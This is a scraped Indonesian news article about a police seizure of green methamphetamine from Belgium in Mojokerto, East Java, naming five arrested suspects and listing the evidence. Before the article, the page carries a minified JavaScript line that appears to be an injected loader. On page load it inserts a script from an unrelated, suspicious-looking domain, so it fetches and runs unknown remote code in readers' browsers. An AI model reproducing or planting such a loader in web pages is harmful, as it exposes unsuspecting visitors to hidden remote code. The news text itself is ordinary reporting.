(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM – Barang bukti sabu warna hijau merupakan pengungkapan pertama yang dilakukan Satnarkoba Polresta Mojokerto, bahkan di Jawa Timur. Lima pelaku diamankan dalam pengungkapan sabu jenis baru asal Belgia tersebut, sementara satu pelaku melarikan diri.
Kasat Narkoba Polresta Mojokerto, Iptu Hari Siswanto mengatakan, penangkapan pelaku pertama disita barang bukti sabu warna putih dan dikembangkan ke pemakai dengan barang bukti sabu warna hijau.
“Masih di laboratorium. Mojokerto kota baru ini ungkap sabu hijau,” ujar Hari, sebagaimana dilansir Beritajatim.com, Selasa (16/6/2020).
Menurut dia, di Mojokerto Kota hanya transit dari barang bukti sabu jenis baru tersebut. Sabu warna hijau tersebut berasal dari Belgia, namun terkait perbedaan antara sabu warna putih dan hijau, pihaknya masih menunggu hasil dari Laboratorium Forensik Polda Jawa Timur.
“Para pelaku mengaku mendapatkan barang haram tersebut dari OXI, namun saat petugas melakukan pengrebekan ke rumahnya, pelaku berhasil melarikan. Dari rumah pelaku diamankan barang bukti berupa sabu seberat 70 gram dan pil doubel L sebanyak 1.000 butir,” ungkapnya.
Sabu seberat 70 gram tersebut disita di dalam tas di atas meja ruang tamu. Sedangkan pil doubel L sebanyak 1.000 butir diamankan di kardus sebelah bufet di ruang tamu.
Kelima pelaku tersebut yakni, Zanuar Ega Nanda warga Dusun Segawe, Desa Mojowarno, Muhtadun Yoffi Ardiansyah warga Desa Kemlagi, Kecamatan Kemlagi, Kabupaten Mojokerto.
Abdul Kholil Anwar, Dian Sulistiono dan Rudiyanto merupakan warga Desa Mojopilang, Kecamatan Kemlagi, Kabupaten Mojokerto.
Sementara barang bukti yang berhasil diamankan antara lain, sabu seberat 85,564 gram warna hijau dan putih, satu bungkus bekas rokok Track, dua unit Handphone (HP) merk OPPO.
Satu unit HP merk VIVO, satu pak plastik klip kosong, satu timbangan elektrik, uang tunai sebesar Rp 300 ribu, satu perangkat alat isap sabu dan pil doubel L sebanyak 1.000 butir.
Kelima pelaku dijerat Pasal 114 ayat (2) Subs Pasal 112 ayat (2) Undang-undang Republik Indonesia Nomor 35 Tahun 2009 tentang Narkotika. (suara.com)
KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More
KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More
KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More
KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More
This website uses cookies.